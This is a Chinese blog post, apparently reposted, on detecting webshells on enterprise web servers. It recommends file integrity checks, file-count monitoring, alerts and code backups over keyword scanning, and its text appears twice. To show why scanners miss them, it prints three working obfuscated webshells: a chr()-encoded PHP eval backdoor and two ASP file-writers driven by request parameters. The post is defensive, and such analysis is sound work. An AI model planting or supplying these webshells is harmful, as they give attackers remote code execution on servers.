根据我片面的工作经验分析,目前企业遇到的入侵还是以web为入口的居多。其中webshell依然是常见的提权及渗透通道。 下面我仅用自己的一点片面经验谈谈如何针对webshell做出安全防控工作。 通常情况下,我们会依靠各种脚本和工具来查杀webshell,但是随着webshell的变异加密等多样化的变形方式的公布,传统的关键字对比查杀模式就出来了,大量误报以及漏报的问题。 例如如下现在流行的几款变异小马: exp1: <script language=php> $_1=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); @$_1(chr(64).chr(101).chr(118).chr(97).chr(108).chr(40). chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). chr(97).chr(93).chr(41).chr(59)); </script> exp2: <%On Error Resume Next Set f = Server.CreateObject("ADODB.Stream") f.Type = 2 f.mode = 3 f.Charset = "gb2312" f.open f.WriteText "<"&Chr("37")&StrReverse(Request("cq3h63"))&Chr("37")&">" f.SaveToFile Replace(Server.MapPath(Request("cq3h61")), ".", "~1")%> exp3: <%On Error Resume Next {1 = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= " & Replace(Server.MapPath(Request("p1565pe51")), ".", "~1") set {a = Server.Createobject("ad"&"ox"&"."&"cata"&"log") {a.create {1 Set { = Server.Createobject("ad"&"odb"&"."&"conne"&"ction") {.open {1 Set {s=server.createobject("ad"&"odb.rec"&"ord"&"set") {s.Open "create table t1(a text)", {, 1, 1 {s.Open "insert into t1(a) values ('<"&Chr("3"&"7") & StrReverse(Request("p1565pe53")) & Chr("3"&"7") & ">')", {, 1, 1%> 这些webshell如果利用现有的脚本和工具大多会产生漏报的现象,所以个人感觉与其扫描查找webshell不如做好监控措施,把我目前所用到的一些小经验分享下。 一:文件改动对比通知。 1:文件MD5效验。 2:文件大小效验。 二:文件数量监控。 1:对文件的数量进行监控,定时遍历目录对文件出现新建和删除的情况能做到及时的通知。 这些要说一下细节。监控文件个数这方面一定要做好优化工作,不然如果做了邮件通知那么监控人员一定会被轰炸死.具体的优化也很简单:对上传目录、缓存目录、删除脚本执行权限,修复掉各种解析漏洞。这样类似这些上传的目录完全可以放心的不用加入监控目录。所以安全工作就是一环扣一环。 三:定期的邮件通知。 这个不需要太多解释,你做了监控自己看不到数据是白搭。 四:代码的SVN或本地存档备份。 这个很重要,安全和监控不是程序员,不可能了解程序员的每条语句和语法。在不确定代码是否被污染的情况下,差异对比的效果就很明显了。 这四点是我目前在工作中的心得,个人感觉随着webshell的日新月异与其努力做到查杀webshell不如做到及时监控webshell和可疑文件
根据我片面的工作经验分析,目前企业遇到的入侵还是以web为入口的居多。其中webshell依然是常见的提权及渗透通道。
下面我仅用自己的一点片面经验谈谈如何针对webshell做出安全防控工作。
通常情况下,我们会依靠各种脚本和工具来查杀webshell,但是随着webshell的变异加密等多样化的变形方式的公布,传统的关键字对比查杀模式就出来了,大量误报以及漏报的问题。
例如如下现在流行的几款变异小马:
exp1:
<script language=php> $_1=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); @$_1(chr(64).chr(101).chr(118).chr(97).chr(108).chr(40). chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). chr(97).chr(93).chr(41).chr(59)); </script>
exp2:
<%On Error Resume Next Set f = Server.CreateObject("ADODB.Stream") f.Type = 2 f.mode = 3 f.Charset = "gb2312" f.open f.WriteText "<"&Chr("37")&StrReverse(Request("cq3h63"))&Chr("37")&">" f.SaveToFile Replace(Server.MapPath(Request("cq3h61")), ".", "~1")%>
exp3:
<%On Error Resume Next {1 = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= " & Replace(Server.MapPath(Request("p1565pe51")), ".", "~1") set {a = Server.Createobject("ad"&"ox"&"."&"cata"&"log") {a.create {1 Set { = Server.Createobject("ad"&"odb"&"."&"conne"&"ction") {.open {1 Set {s=server.createobject("ad"&"odb.rec"&"ord"&"set") {s.Open "create table t1(a text)", {, 1, 1 {s.Open "insert into t1(a) values ('<"&Chr("3"&"7") & StrReverse(Request("p1565pe53")) & Chr("3"&"7") & ">')", {, 1, 1%>
这些webshell如果利用现有的脚本和工具大多会产生漏报的现象,所以个人感觉与其扫描查找webshell不如做好监控措施,把我目前所用到的一些小经验分享下。
一:文件改动对比通知。
1:文件MD5效验。
2:文件大小效验。
二:文件数量监控。
1:对文件的数量进行监控,定时遍历目录对文件出现新建和删除的情况能做到及时的通知。
这些要说一下细节。监控文件个数这方面一定要做好优化工作,不然如果做了邮件通知那么监控人员一定会被轰炸死.具体的优化也很简单:对上传目录、缓存目录、删除脚本执行权限,修复掉各种解析漏洞。这样类似这些上传的目录完全可以放心的不用加入监控目录。所以安全工作就是一环扣一环。
三:定期的邮件通知。
这个不需要太多解释,你做了监控自己看不到数据是白搭。
四:代码的SVN或本地存档备份。
这个很重要,安全和监控不是程序员,不可能了解程序员的每条语句和语法。在不确定代码是否被污染的情况下,差异对比的效果就很明显了。
这四点是我目前在工作中的心得,个人感觉随着webshell的日新月异与其努力做到查杀webshell不如做到及时监控webshell和可疑文件
https://www.dengb.com/qyaq/470797.htmlwww.dengb.comtruehttps://www.dengb.com/qyaq/470797.htmlTechArticle根据我片面的工作经验分析,目前企业遇到的入侵还是以web为入口的居多。其中webshell依然是常见的提权及渗透通道。 下面我仅用自己的一点…
—-想了解更多的企业安全相关处理怎么解决关注<计算机技术网(www.ctvol.com)!!>
本文来自网络收集,不代表计算机技术网立场,如涉及侵权请联系管理员删除。
ctvol管理联系方式QQ:251552304
本文章地址:https://www.ctvol.com/webstt/esecurity/101582.html